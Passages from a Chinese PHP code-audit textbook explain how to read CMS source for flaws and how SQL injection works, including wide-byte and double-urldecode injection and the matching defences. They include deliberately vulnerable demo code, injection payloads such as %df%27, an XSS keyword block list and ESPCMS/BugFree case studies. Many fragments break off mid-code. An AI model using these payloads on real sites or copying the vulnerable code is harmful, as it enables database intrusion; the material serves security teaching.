    {"text": "通读全文代码也有一定的技巧，并不是随便找文件逐个读完就可以了，这样你是很难真正读懂这套Web程序的，也很难理解代码的业务逻辑，首先我们要看程序的大体代码结构，如主目录有哪些文件，模块目录有哪些文件，插件目录有哪些文件，除了关注有哪些文件，还要注意文件的大小、创建时间。 我们根据这些文件的命名就可以大致知道这个程序实现了哪些功能，核心文件是哪些，discuz的程序主目录如图3-7所示。 图 3-7 在看程序目录结构的时候，我们要特别注意以下几个文件： 1）函数集文件，通常命名中包含functions或者common等关键字，这些文件里面是一些公共的函数，提供给其他文件统一调用，所以大多数文件都会在文件头部包含到其他文件。 寻找这些文件一个非常好用的技巧就是去打开index.php或者一些功能性文件，在头部一般都能找到。 2）配置文件，通常命名中包括config关键字，配置文件包括Web程序运行必须的功能性配置选项以及数据库等配置信息。 从这个文件中可以了解程序的小部分功能，另外看这个文件的时候注意观察配置文件中参数值是用单引号还是用双引号括起来，如果是双引号，则很可能会存在代码执行漏洞，例如下面Kuwebs的代码，只要我们在修改配置的时候利用PHP可变变量的特性即可执行代码。"},
    {"text": "php /* 网站基本信息配置 */ $kuWebsiteURL = \"http ： //www.kuwebs.com\" ； $kuWebsiteSupportEn = \"1\" ； $kuWebsiteSupportSimplifiedOrTraditional = \"0\" ； $kuWebsiteDefauleIndexLanguage = \"cn\" ； $kuWebsiteUploadFileMax = \"2\" ； $kuWebsiteAllowUploadFileFormat = \"swf|rar|jpg|zip|gif\" ； /* 邮件设置 */ $kuWebsiteMailType = \"1\" ； $kuWebsiteMailSmtpHost = \"smtp.qq.com\" ；"},
    {"text": "3）安全过滤文件，安全过滤文件对我们做代码审计至关重要，关系到我们挖掘到的可疑点能不能利用，通常命名中有filter、safe、check等关键字，这类文件主要是对参数进行过滤，比较常见的是针对SQL注入和XSS过滤，还有文件路径、执行的系统命令的参数，其他的则相对少见。"},
    {"text": "private static function _do_query_safe （ $sql ） { $sql = str_replace （ array （ '\\\\\\\\' ， '\\\\\\'' ， '\\\\\"' ， '\\'\\'' ）， '' ， $sql ）；"},
    {"text": "if （ strpos （ $sql ， '/' ） === false && strpos （ $sql ， '#' ） === false && strpos （ $sql ， '--' ） === false && strpos （ $sql ， '@' ） === false && strpos （ $sql ， '`' ） === false ） { $clean = preg_replace （ \"/' （ .+ ？"},
    {"text": "} else { 4）index文件，index是一个程序的入口文件，所以通常我们只要读一遍index文件就可以大致了解整个程序的架构、运行的流程、包含到的文件，其中核心的文件又有哪些。 而不同目录的index文件也有不同的实现方式，建议最好先将几个核心目录的index文件都简单读一遍。"},
    {"text": "上面介绍了我们应该注意的部分文件，可以帮助我们更有方向地去读全部的代码，实际上在我们真正做代码审计的时候，经常会遇到各种框架，这时候就会被搞得晕头转向，所以在学习代码审计的前期建议不要去读开源框架或者使用开源框架的应用，先去chinaz、admin5之类的源码下载网站下载一些小应用来读，并且一定要多找几套程序通读全文代码，这样我们才能总结经验，等总结了一定的经验，对PHP也比较熟悉的时候，再去读一些像thinkphp、Yii、Zend Framework等开源框架，才能快速地挖掘高质量的漏洞。"},
    {"text": "通读全文代码的好处显而易见，可以更好地了解程序的架构以及业务逻辑，能够挖掘到更多、更高质量的逻辑漏洞，一般老手会比较喜欢这种方式。"},
    {"text": "骑士cms通读审计案例 我们已经介绍了代码审计中通读全文代码审计方式的思路，下面我们用案例来说明这种通读方式。 为了方便大家理解，笔者找了一款相对简单容易看懂的应用骑士cms来介绍，版本是3.5.1，具体的审计思路我们在上文中已经有过介绍。 3.2.1.1 查看应用文件结构 首先来看一下骑士cms的大致文件目录结构，如图3-8所示。"},
    {"text": "图 3-8 首先需要看看有哪些文件和文件夹，寻找名称里有没有带有api、admin、manage、include一类关键字的文件和文件夹，通常这些文件比较重要，在这个程序里，可以看到并没有什么PHP文件，就一个index.php，看到有一个名为include的文件夹，一般比较核心的文件都会放在这个文件夹中，我们先来看看大概有哪些文件，如图3-9所示。 图 3-9 3.2.1.2 查看关键文件代码 在这个文件夹里面我们看到了多个数十K的PHP文件，比如common.fun.php就是本程序的核心文件，基础函数基本在这个文件中实现，我们来看看这个文件里有哪些关键函数，一打开这个文件，立马就看到一大堆过滤函数，这是我们最应该关心的地方，首先是一个SQL注入过滤函数： function addslashes_deep （ $value ） { if （ empty （ $value ）） { return $value ；"},
    {"text": "} } 该函数将传入的变量使用addslashes（）函数进行过滤，也就过滤掉了单引号、双引号、NULL字符以及斜杠，现在我们要记住，在挖掘SQL注入等漏洞时，只要参数在拼接到SQL语句前，除非有宽字节注入或者其他特殊情况，否则使用了这个函数就不能注入了。"},
    {"text": "$string = remove_xss （ $string ）； return $string ； } 这个函数调用了new_html_special_chars（）和remove_xss（）函数来过滤XSS，就在该函数下方，代码如下： function new_html_special_chars （ $string ） { $string = str_replace （ array （ '&amp ；"},
    {"text": "' ）， array （ '&' ， '\"' ， '<' ， '>' ）， $string ）； $string = strip_tags （ $string ）； return $string ； } function remove_xss （ $string ） { $string = preg_replace （ '/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]+/S' ， '' ， $string ）； $parm1 = Array （ 'javascript' ， 'union' ， 'vbscript' ， 'expression' ， 'applet' ， 'xml' ， 'blink' ， 'link' ， 'script' ， 'embed' ， 'object' ， 'iframe' ， 'frame' ， 'frameset' ， 'ilayer' ， 'layer' ， 'bgsound' ， 'title' ， 'base' ）； $parm2 = Array （ 'onabort' ， 'onactivate' ， 'onafterprint' ， 'onafterupdate' ， 'onbeforeactivate' ， 'onbeforecopy' ， 'onbeforecut' ， 'onbeforedeactivate' ， 'onbeforeeditfocus' ， 'onbeforepaste' ， 'onbeforeprint' ， 'onbeforeunload' ， 'onbeforeupdate' ， 'onblur' ， 'onbounce' ， 'oncellchange' ， 'onchange' ， 'onclick' ， 'oncontextmenu' ， 'oncontrolselect' ， 'oncopy' ， 'oncut' ， 'ondataavailable' ， 'ondatasetchanged' ， 'ondatasetcomplete' ， 'ondblclick' ， 'ondeactivate' ， 'ondrag' ， 'ondragend' ， 'ondragenter' ， 'ondragleave' ， 'ondragover' ， 'ondragstart' ， 'ondrop' ， 'onerror' ， 'onerrorupdate' ， 'onfilterchange' ， 'onfinish' ， 'onfocus' ， 'onfocusin' ， 'onfocusout' ， 'onhelp' ， 'onkeydown' ， 'onkeypress' ， 'onkeyup' ， 'onlayoutcomplete' ， 'onload' ， 'onlosecapture' ， 'onmousedown' ， 'onmouseenter' ， 'onmouseleave' ， 'onmousemove' ， 'onmouseout' ， 'onmouseover' ， 'onmouseup' ， 'onmousewheel' ， 'onmove' ， 'onmoveend' ， 'onmovestart' ， 'onpaste' ， 'onpropertychange' ， 'onreadystatechange' ， 'onreset' ， 'onresize' ， 'onresizeend' ， 'onresizestart' ， 'onrowenter' ， 'onrowexit' ， 'onrowsdelete' ， 'onrowsinserted' ， 'onscroll' ， 'onselect' ， 'onselectionchange' ， 'onselectstart' ， 'onstart' ， 'onstop' ， 'onsubmit' ， 'onunload' ， 'style' ， 'href' ， 'action' ， 'location' ， 'background' ， 'src' ， 'poster' ）； $parm3= Array （ 'alert' ， 'sleep' ， 'load_file' ， 'confirm' ， 'prompt' ， 'bench-mark' ， 'select' ， 'update' ， 'insert' ， 'delete' ， 'alter' ， 'drop' ， 'truncate' ， 'script' ， 'eval' ）； $parm = array_merge （ $parm1 ， $parm2 ， $parm3 ）；"},
    {"text": "for （ $i = 0 ； $i < sizeof （ $parm ）； $i++ ） { $pattern = '/' ； for （ $j = 0 ； $j < strlen （ $parm[$i] ）； $j++ ） { if （ $j > 0 ） { $pattern .= ' （ ' ； $pattern .= ' （ &#[x|X]0 （ [9][a][b] ）；"},
    {"text": "} 在new_html_special_chars（）函数中可以看到，这个函数对&符号、双引号以及尖括号进行了html实体编码，并且使用strip_tags（）函数进行了二次过滤。"},
    {"text": "再往下走有一个获取IP地址的函数getip（），是可以伪造IP地址的： function getip （） { if （ getenv （ 'HTTP_CLIENT_IP' ） and strcasecmp （ getenv （ 'HTTP_CLIENT_IP' ）， 'unknown' ）） { $onlineip=getenv （ 'HTTP_CLIENT_IP' ）； }elseif （ getenv （ 'HTTP_X_FORWARDED_FOR' ） and strcasecmp （ getenv （ 'HTTP_X_FORWARDED_FOR' ）， 'unknown' ）） { $onlineip=getenv （ 'HTTP_X_FORWARDED_FOR' ）； }elseif （ getenv （ 'REMOTE_ADDR' ） and strcasecmp （ getenv （ 'REMOTE_ADDR' ）， 'unknown' ）） { $onlineip=getenv （ 'REMOTE_ADDR' ）； }elseif （ isset （ $_SERVER['REMOTE_ADDR'] ） and $_SERVER['REMOTE_ADDR'] and strcasecmp （ $_SERVER['REMOTE_ADDR'] ， 'unknown' ）） { $onlineip=$_SERVER['REMOTE_ADDR'] ； } preg_match （ \"/\\d{1 ， 3}\\.\\d{1 ， 3}\\.\\d{1 ， 3}\\.\\d{1 ， 3}/\" ， $onlineip ， $match ）； return $onlineip = $match[0] ？ $match[0] ： 'unknown' ；"},
    {"text": "再往下看可以看到一个值得关注的地方，SQL查询统一操作函数inserttable（）以及updatetable（）函数，大多数SQL语句执行都会经过这里，所以我们要关注这个地方是否还有过滤等问题。 function inserttable （ $tablename ， $insertsqlarr ， $returnid=0 ， $replace = false ， $silent=0 ） {global $db ； $insertkeysql = $insertvaluesql = $comma = '' ； foreach （ $insertsqlarr as $insert_key => $insert_value ） {$insertkeysql .= $comma.'`'.$insert_key.'`' ； $insertvaluesql .= $comma.'\\''.$insert_value.'\\'' ； $comma = ' ， ' ； }$method = $replace ？"},
    {"text": "} } 再往下走则是wheresql（）函数，是SQL语句查询的Where条件拼接的地方，我们可以看到参数都使用了单引号进行包裹，代码如下： function wheresql （ $wherearr='' ） { $wheresql=\"\" ； if （ is_array （ $wherearr ）） { $where_set=' WHERE ' ； foreach （ $wherearr as $key => $value ） { $wheresql .=$where_set. $comma.$key.'=\"'.$value.'\"' ；"},
    {"text": "} 还有一个访问令牌生成的函数asyn_userkey（），拼接用户名、密码salt以及密码进行一次md5，访问的时候只要在GET参数key的值里面加上生成的这个key即可验证是否有权限，被用在注册、找回密码等验证过程中，也就是我们能看到的找回密码链接里面的key，代码如下： function asyn_userkey （ $uid ） { global $db ；"},
    {"text": "$sql = \"select * from \".table （ 'members' ） .\" where uid = '\".intval （ $uid ） .\"' LIMIT 1\" ； $user=$db->getone （ $sql ）； return md5 （ $user['username'].$user['pwd_hash'].$user['password'] ）；"},
    {"text": "3.2.1.3 查看配置文件 接下来我们找找配置文件，上面我们介绍到配置文件的文件名通常都带有“config”这样的关键字，我们只要搜索带有这个关键字的文件名即可，如图3-11所示。 在搜索结果中我们可以看到搜索出来多个文件，结合文件所在目录这个经验可以判断出data目录下面的config.php以及cache_config.php才是真正的配置文件，打开/data/config.php查看代码，如下所示： 图 3-11 < ？"},
    {"text": "> 很明显看到，很有可能存在我们之前说过的双引号解析代码执行的问题，通常这个配置是在安装系统的时候设置的，或者后台也有设置的地方。"},
    {"text": "另外我们还应该记住的一个点是QISHI_DBCHARSET常量，这里配置的数据库编码是GBK，也就可能存在宽字节注入，不过需要看数据库连接时设置的编码，不妨找找看，找到骑士cms连接MySQL的代码在include\\mysql.class.php文件的connect（）函数，代码如下： function connect （ $dbhost ， $dbuser ， $dbpw ， $dbname = '' ， $dbcharset = 'gbk' ， $connect=1 ） { $func = empty （ $connect ） ？"},
    {"text": "} else { if （ $this->dbversion （） > '4.1' ） { mysql_query （ \"SET NAMES gbk\" ）； if （ $this->dbversion （） > '5.0.1' ） { mysql_query （ \"SET sql_mode = ''\" ， $this->linkid ）； mysql_query （ \"SET character_set_connection=\".$dbcharset.\" ， character_set_results=\".$dbcharset.\" ， character_set_client=binary\" ， $this-> linkid ）； } } } if （ $dbname ） { if （ mysql_select_db （ $dbname ， $this->linkid ） ===false ） { $this->dbshow （ \"Can't select MySQL database （ $dbname ）！"},
    {"text": "代码首先判断MySQL版本是否大于4.1，如果是则执行如下代码： mysql_query （ \"SET NAMES gbk\" ）； 执行这个语句之后再判断，如果大于5则执行如下代码： mysql_query （ \"SET character_set_connection=\".$dbcharset.\" ， haracter_set_results=\".$dbcharset.\" ， character_set_client=binary\" ， $this->linkid ）； 也就是说在MySQL版本小于5的情况下是不会执行这行代码的，但是执行了“set names gbk”，我们在之前介绍过“set names gbk”其实干了三件事，等同于： SET character_set_connection= ’ gbk ’， haracter_set_results= ’ gbk ’， character_set_client= ’ gbk ’ 因此在MySQL版本大于4.1小于5的情况下，基本所有跟数据库有关的操作都存在宽字节注入。"},
    {"text": "3.2.1.4 跟读首页文件 通过对系统文件大概的了解，我们对这套程序的整体架构已经有了一定的了解，但是还不够，所以我们得跟读一下index.php文件，看看程序运行的时候会调用哪些文件和函数。 打开首页文件index.php可以看到如下代码： if （！ file_exists （ dirname （ __FILE__ ） .'/data/install.lock' ）） header （ \"Location ： install/index.php\" ）；"},
    {"text": "require_once （ dirname （ __FILE__ ） .'/include/common.inc.php' ）； 首先判断安装锁文件是否存在，如果不存在则跳转到install/index.php，接下来是包含/include/common.inc.php文件，跟进该文件查看： require_once （ QISHI_ROOT_PATH.'data/config.php' ）；"},
    {"text": "charset=\".QISHI_CHARSET ）； require_once （ QISHI_ROOT_PATH.'include/common.fun.php' ）； require_once （ QISHI_ROOT_PATH.'include/74cms_version.php' ）；"},
    {"text": "/include/common.inc.php文件在开头包含了三个文件，data/config.php为数据库配置文件，include/common.fun.php文件为基础函数库文件，include/74cms_version.php为应用版本文件。"},
    {"text": "这段代码调用了include/common.fun.php文件里面的addslashes_deep（）函数对GET/POST/COOKIE参数进行了过滤，再往下走可以看到又有一个包含文件的操作： require_once （ QISHI_ROOT_PATH.'include/tpl.inc.php' ）； 包含了include/tpl.inc.php文件，跟进看看这个文件做了什么： include_once （ QISHI_ROOT_PATH.'include/template_lite/class.template.php' ）；"},
    {"text": "$smarty = new Template_Lite ； $smarty -> cache_dir = QISHI_ROOT_PATH.'temp/caches/'.$_CFG['template_dir'] ； $smarty -> compile_dir = QISHI_ROOT_PATH.'temp/templates_c/'.$_CFG ['template_dir'] ； $smarty -> template_dir = QISHI_ROOT_PATH.'templates/'.$_CFG['template_dir'] ； $smarty -> reserved_template_varname = \"smarty\" ； $smarty -> left_delimiter = \"{#\" ； $smarty -> right_delimiter = \"#}\" ； $smarty -> force_compile = false ； $smarty -> assign （ '_PLUG' ， $_PLUG ）； $smarty -> assign （ 'QISHI' ， $_CFG ）； $smarty -> assign （ 'page_select' ， $page_select ）；"},
    {"text": "首先看到包含了include/template_lite/class.template.php文件，这是一个映射程序模板的类，由Paul Lockaby paul和Mark Dickenson编写，由于该文件较大，我们这里不再仔细分析，继续往下跟进，可以看到这段代码实例化了这个类对象赋值给$smarty变量，继续跟进则回转到index.php文件代码： if （！"},
    {"text": "$smarty->display （ $mypage['tpl'] ， $cached_id ）； } else { $smarty->display （ $mypage['tpl'] ， $cached_id ）； } 判断是否已经缓存，然后调用display（）函数输出页面，审计到这里是否对整个程序的框架比较熟悉了？ 接下来像审计index.php文件一样跟进其他功能入口文件即可完成代码通读。"},
    {"text": "3.3 根据功能点定向审计 在有了一定的代码审计经验之后，一定会知道哪些功能点通常会有哪些漏洞，在我们想要快速挖掘漏洞的时候就可以这样来做，首先安装好并且运行程序，到处点点，浏览一下，看下程序有哪些功能，这些功能的程序文件分别是怎么样的，是独立的模块还是以插件形式存在，或者是写在一个通用类里面，然后多处调用。在了解这些功能的存在形式后，可以先寻找经常会出问题的功能点，简单黑盒测试一下，如果没有发现很普通、很常见的漏洞，再去读这个功能的代码，这样我们读起来就可以略过一些刚才黑盒测试过的点，提高审计速度。 根据经验，我们来简单介绍几个功能点经常会出现的漏洞，如下所示： 1）文件上传功能 。这里说的文件上传在很多功能点都会出现，比如像文章编辑、资料编辑、头像上传、附件上传，这个功能最常见的漏洞就是任意文件上传了，后端程序没有严格地限制上传文件的格式，导致可以直接上传或者存在绕过的情况，而除了文件上传功能外，还经常发生SQL注入漏洞。因为一般程序员都不会注意到对文件名进行过滤，但是又需要把文件名保存到数据库中，所以就会存在SQL注入漏洞。 2）文件管理功能 。在文件管理功能中，如果程序将文件名或者文件路径直接在参数中传递，则很有可能会存在任意文件操作的漏洞，比如任意文件读取等，利用的方式是在路径中使用../或者..\\跳转目录，如图3-12所示。 除了任意文件操作漏洞以外，还可能会存在XSS漏洞，程序会在页面中输出文件名，而通常会疏忽对文件名进行过滤，导致可以在数据库中存入带有尖括号等特殊符号的文件名，最后显示在页面上的时候就会被执行。 3）登录认证功能 。登录认证功能不是指一个登录过程，而是整个操作过程中的认证，目前的认证方式大多是基于Cookie和Session，不少程序会把当前登录的用户账号等认证信息放到Cookie中，或许是加密方式，是为了保持用户可以长时间登录，不会一退出浏览器或者Session超时就退出账户，进行操作的时候直接从Cookie中读取出当前用户信息，这里就存在一个算法可信的问题，如果这段Cookie信息没有加salt一类的东西，就可以导致任意用户登录漏洞，只要知道用户的部分信息，即可生成认证令牌，甚至有的程序会直接把用户名明文放到Cookie中，操作的时候直接取这个用户名的数据，这也是常说的越权漏洞。 图 3-12 ESPCMS就多次被曝光存在这个漏洞，具体的漏洞分析在乌云上面可以直接看到，其中一个漏洞信息如下，感兴趣的读者可以研究一下： 缺陷编号：WooYun-2015-90324 漏洞标题：ESPCMS所有版本任意用户登录 相关厂商：易思ESPCMS企业网站管理系统 漏洞作者：路人甲 4）找回密码功能 。找回密码虽然看起来不像任意文件上传这种可以危害到服务器安全的漏洞，但是如果可以重置管理员的密码，也是可以间接控制业务权限甚至拿到服务器权限的。而找回密码功能的漏洞有很多利用场景，最常见的是验证码爆破，目前特别是APP应用，请求后端验证码的时候大多是4位，并且没有限制验证码错误次数和有效时间，于是就出现了爆破的漏洞。除此之外，还有验证凭证的算法，这需要在代码中才能看到，所以我们做代码审计的时候可以看看这个算法是否可信。 这些功能点上的漏洞需要我们多读代码才能积累经验。 BugFree重装漏洞案例 针对功能点的审计是相对简单的，不过在使用这种方式审计之前建议先了解整个程序的架构设计和运行流程，程序重装漏洞在早期是比较常见的，我们来看看BugFree的程序安装功能，该程序之前被papaver爆出存在多个漏洞，其中就有一个重装漏洞。 BugFree安装文件在install\\index.php，代码如下： < ？ php require_once （ 'func.inc.php' ）； set_time_limit （ 0 ）； error_reporting （ E_ERROR ）； // 基本路径 define （ 'BASEPATH' ， realpath （ dirname （ dirname （ __FILE__ ））））； // upload path define （ 'UPLOADPATH' ， realpath （ dirname （ dirname （ dirname （ __FILE__ ）））） .DIRECTORY_SEPARATOR.'BugFile' ）； // 配置样本文件路径 define （ 'CONFIG_SAMPLE_FILE' ， BASEPATH . '/protected/config/main.sample.php' ）； // 配置文件路径 define （ 'CONFIG_FILE' ， BASEPATH . '/protected/config/main.php' ）； 看这段代码首先包含了'func.inc.php'文件，跟进这个文件可以看到一些读取配置文件、检查目录权限以及服务器变量等功能的函数，下方则是定义配置文件的路径，继续往下走，真正进行程序逻辑流程的地方如下代码所示： $action = isset （ $_REQUEST['action'] ） ？ $_REQUEST['action'] ： CHECK ； if （ is_file （ \"install.lock\" ） && $action ！ = UPGRADED && $action ！ = INSTALLED ） { header （ \"location ： ../index.php\" ）； } 这段代码存在一个逻辑漏洞，首先判断install.lock文件是否存在以及action参数值是否升级完成和安装完成，如果是，则跳转到程序首页，这里仅仅使用了 header （ \"location ： ../index.php\" ）； 并没有使用die（）或者exit（）等函数退出程序流程，这个跳转只是HTTP头的跳转，下方代码依然会继续执行，这时候如果使用浏览器请求install/index.php文件则会跳转到首页，我们用burp试试，效果如图3-13所示。 图 3-13 可以看到程序又可以再次安装。"},
    {"text": "第4章 漏洞挖掘与防范（基础篇） 每类漏洞都有针对性的审计技巧，在我们掌握了这些技巧之后，就可以有针对性地挖掘我们想要的漏洞。漏洞大致分为SQL注入、XSS、文件操作、代码/命令执行、变量覆盖以及逻辑处理，等等，这些都是常见的Web漏洞。 本章作为基础篇，只介绍最常见的SQL注入、XSS、CSRF漏洞，分析其原理、利用方式，并介绍防范策略。"},
    {"text": "4.1 SQL注入漏洞 SQL注入漏洞可能是被人知道最多的漏洞，哪怕再没有接触到安全的程序员，多多少少会对这个词有所耳闻，它也是目前被利用得最多的漏洞。"},
    {"text": "SQL注入漏洞的原理非常简单，由于开发者在编写操作数据库代码时，直接将外部可控的参数拼接到SQL语句中，没有经过任何过滤就直接放入数据库引擎执行。 由于SQL注入是直接面对数据库进行攻击的，所以它的危害不言而喻，通常利用SQL注入的攻击方式有下面几种：一是在权限较大的情况下，通过SQL注入可以直接写入webshell，或者直接执行系统命令等。 二是在权限较小的情况下，也可以通过注入来获得管理员的密码等信息，或者修改数据库内容进行一些钓鱼或者其他间接利用。 针对SQL注入漏洞的利用工具也是越来越智能，sqlmap是目前被使用最多的注入工具，这是一款国外开源的跨平台SQL注入工具，用Python开发，支持多种方式以及几乎所有类型的数据库注入，对SQL注入漏洞的兼容性也非常强。 既然SQL注入是被利用最多的漏洞，因此它也是被研究最深的漏洞，针对不同的漏洞代码情况和运行环境，有多种的利用方式，如普通注入、盲注、报错注入、宽字节注入、二次注入等，但是它们的原理都是大同小异的，下面笔者会介绍怎么挖掘到这些注入漏洞。 4.1.1 挖掘经验 SQL注入经常出现在登录页面、获取HTTP头（user-agent/client-ip等）、订单处理等地方，因为这几个地方是业务相对复杂的，登录页面的注入现在来说大多是发生在HTTP头里面的client-ip和x-forward-for，一般用来记录登录的IP地址，另外在订单系统里面，由于订单涉及购物车等多个交互，所以经常会发生二次注入。"},
    {"text": "4.1.1.1 普通注入 这里说的普通注入是指最容易利用的SQL注入漏洞，比如直接通过注入union查询就可以查询数据库，一般的SQL注入工具也能够非常好地利用。 普通注入有int型和string型，在string型注入中需要使用单或双引号闭合，下面简单演示普通注入漏洞，后面所有测试SQL注入漏洞的数据表中数据都如图4-1所示。"},
    {"text": "php $uid=$_GET['id'] ； $sql=\"SELECT * FROM userinfo where id=$uid\" ； $conn=mysql_connect （ 'localhost' ， 'root' ， '123456' ）； mysql_select_db （ \"test\" ， $conn ）； $result=mysql_query （ $sql ， $conn ）； print_r （ ' 当前 SQL 语句： '.$sql.'<br /> 结果： ' ）； print_r （ mysql_fetch_row （ $result ））；"},
    {"text": "从上面的测试代码中可以发现，数据库操作存在一些关键字，比如select from、mysql_connect、mysql_query、mysql_fetch_row等，数据库的查询方式还有update、insert、delete，我们在做白盒审计时，只需要查找这些关键字，即可定向挖掘SQL注入漏洞。 4.1.1.2 编码注入 程序在进行一些操作之前经常会进行一些编码处理，而做编码处理的函数也是存在问题的，通过输入转码函数不兼容的特殊字符，可以导致输出的字符变成有害数据，在SQL注入里，最常见的编码注入是MySQL宽字节以及urldecode/rawurldecode函数导致的。 1.宽字节注入 在使用PHP连接MySQL的时候，当设置“set character_set_client=gbk”时会导致一个编码转换的注入问题，也就是我们所熟悉的宽字节注入，当存在宽字节注入漏洞时，注入参数里带入%df%27，即可把程序中过滤的\\（%5c）吃掉。"},
    {"text": "id=-1’and 1=1%23时，MySQL运行的SQL语句为select*from user where id=’1\\’and 1=1#’很明显这是没有注入成功的，我们提交的单引号被转义导致没有闭合前面的单引号，但是我们提交/1.php？ id=-1%df’and 1=1%23时，这时候MySQL运行的SQL语句为： select * from user where id='1 運 ' and 1=1#' 这是由于单引号被自动转义成\\'，前面的%df和转义字符\\反斜杠（%5c）组合成了%df%5c，也就是“運”字，这时候单引号依然还在，于是成功闭合了前面的单引号。"},
    {"text": "出现这个漏洞的原因是在PHP连接MySQL的时候执行了如下设置： set character_set_client=gbk 告诉MySQL服务器客户端来源数据编码是GBK，然后MySQL服务器对查询语句进行GBK转码导致反斜杠\\被%df吃掉，而一般都不是直接设置character_set_client=gbk，通常的设置方法是SET NAMES'gbk'，但其实SET NAMES'gbk'不过是比character_set_client=gbk多干了两件事而已，SET NAMES'gbk'等同于如下代码： SET character_set_connection='gbk' ， character_set_results='gbk' ， character_set_client=gbk 这同样也是存在漏洞的，另外官方建议使用mysql_set_charset方式来设置编码，不幸的是它也只是调用了SET NAMES，所以效果也是一样的。 不过mysql_set_charset调用SET NAMES之后还记录了当前的编码，留着给后面mysql_real_escape_string处理字符串的时候使用，所以在后面只要合理地使用mysql_real_escape_string还是可以解决这个漏洞的，关于这个漏洞的解决方法推荐如下几种方法： 1）在执行查询之前先执行SET NAMES'gbk'，character_set_client=binary设置character_set_client为binary。 2）使用mysql_set_charset（'gbk'）设置编码，然后使用mysql_real_escape_string（）函数被参数过滤。"},
    {"text": "$result=mysql_query （ $sql ， $conn ）； print_r （ ' 当前 SQL 语句： '.$sql.'<br /> 结果： ' ）； print_r （ mysql_fetch_row （ $result ））； mysql_close （）；"},
    {"text": "图 4-3 对宽字节注入的挖掘方法也比较简单，只要搜索如下几个关键字即可： SET NAMES character_set_client=gbk mysql_set_charset （ 'gbk' ） 2.二次urldecode注入 只要字符被进行转换就有可能产生漏洞，现在的Web程序大多都会进行参数过滤，通常使用addslashes（）、mysql_real_escape_string（）、mysql_escape_string（）函数或者开启GPC的方式来防止注入，也就是给单引号（'）、双引号（\"）、反斜杠（\\）和NULL加上反斜杠转义。"},
    {"text": "id=1%2527，因为我们提交的参数里面没有单引号，所以第一次解码后的结果是id=1%27，%25解码的结果是%，如果程序里面使用了urldecode或者rawurldecode函数来解码id参数，则解码后的结果是id=1’单引号成功出现引发注入。"},
    {"text": "4.1.1.3 espcms搜索注入分析 这里以一个笔者在2013年发现的一个小CMS程序espcms搜索注入的漏洞为例，我们目前尽量以相对好理解的漏洞来举例。 漏洞在interface/search.php文件和interface/3gwap_search.php文件in_taglist（）函数都存在，一样的问题，以interface/search.php为例说明： 打开文件看到如下代码： function in_taglist （） { parent ：： start_pagetemplate （）；"},
    {"text": "if （ empty （ $tagkey ）） { $linkURL = $_SERVER['HTTP_REFERER'] ； $this->callmessage （ $this->lng['search_err'] ， $linkURL ， $this->lng ['gobackbotton'] ）；"},
    {"text": "empty （ $tagkey ）） { $db_where.=\" AND FIND_IN_SET （ '$tagkey' ， tags ） \" ； } 其中： $tagkey = urldecode （ $this->fun->accept （ 'tagkey' ， 'R' ））； 这行代码得到$_REQUEST['tagkey']的值，由于$tagkey变量使用了urldecode，从而可以绕过GPC： $db_where.=\" AND FIND_IN_SET （ '$tagkey' ， tags ） \" ； 经过判断$tagkey不为空则拼接到SQL语句中，导致产生注入漏洞。"},
    {"text": "在PHP中可以利用魔术引号来解决，不过魔术引号在PHP 5.4后被取消，并且gpc在遇到int型的注入时也会显得不那么给力了，所以通常用得多的还是过滤函数和类，像discuz、dedecms、phpcms等程序里面都使用过滤类，不过如果单纯的过滤函数写得不够严谨，也会出现绕过的情况，像这三套程序就都存在绕过问题。"},
    {"text": "在本书第2章第3节介绍了PHP的核心配置，里面详细介绍了GPC等魔术引号配置的方法，magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤，magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤。"},
    {"text": "为什么说是部分，因为我们之前也介绍了，它们只对单引号（'）、双引号（\"）、反斜杠（\\）及空字符NULL进行过滤，在int型的注入上是没有多大作用的。"},
    {"text": "PHP 4.2.3以及之前的版本可以在任何地方设置开启，即配置文件和代码中，之后的版本可以在php.ini、httpd.conf以及.htaccess中开启。"},
    {"text": "4.1.2.2 过滤函数和类 过滤函数和类有两种使用场景，一种是程序入口统一过滤，像框架程序用这种方式比较多，另外一种是在程序进行SQL语句运行之前使用，除了PHP内置的一些过滤单引号等函数外，还有一些开源类过滤union、select等关键字。 1.addslashes函数 addslashes函数过滤的值范围和GPC是一样的，即单引号（'）、双引号（\"）、反斜杠（\\）及空字符NULL，它只是一个简单的检查参数的函数，大多数程序使用它是在程序的入口，进行判断如果没有开启GPC，则使用它对$_POST/$_GET等变量进行过滤，不过它的参数必须是string类型，所以曾经某些程序使用这种方式对输入进行过滤时出现了绕过，比如只遍历$_GET的值，当时并没有考虑到$_GET的值也是一个数组。"},
    {"text": "2.mysql_[real_]escape_string函数 mysql_escape_string和mysql_real_escape_string函数都是对字符串进行过滤，在PHP4.0.3以上版本才存在，如下字符受影响【\\x00】【\\n】【\\r】【\\】【'】【\"】【\\x1a】，两个函数唯一不一样的地方在于mysql_real_escape_string接受的是一个连接句柄并根据当前字符集转义字符串，所以推荐使用mysql_real_escape_string。"},
    {"text": "php $con = mysql_connect （ \"localhost\" ， \"root\" ， \"123456\" ）； $id = mysql_real_escape_string （ $_GET['id'] ， $con ）； $sql=\"select * from test where id='\".$id.\"'\" ； echo $sql ；"},
    {"text": "id=1’时，上面代码输出：select*from test where id='1\\'' 3.intval等字符转换 上面我们提到的过滤方式，在int类型注入时效果并不好，比如可以通过报错或者盲注等方式来绕过，这时候intval等函数就起作用了，intval的作用是将变量转换成int类型，这里举例intval是要表达一种方式，一种利用参数类型白名单的方式来防止漏洞，对应的还有很多如floatval等。"},
    {"text": "以上代码输出：1 4.1.2.3 PDO prepare预编译 如果之前了解过.NET的SqlParameter或者java里面的prepareStatement，那么就很容易能够理解PHP pdo的prepare，它们三个的作用是一样的，都是通过预编译的方式来处理数据库查询。"},
    {"text": "上面这段代码虽然使用了pdo的prepare方式来处理sql查询，但是当PHP版本<5.3.6之前还是存在宽字节SQL注入漏洞，原因在于这样的查询方式是使用了PHP本地模拟prepare，再把完整的SQL语句发送给MySQL服务器，并且有使用set names'gbk'语句，所以会有PHP和MySQL编码不一致的原因导致SQL注入，正确的写法应该是使用ATTR_EMULATE_PREPARES来禁用PHP本地模拟prepare，代码如下： < ？"},
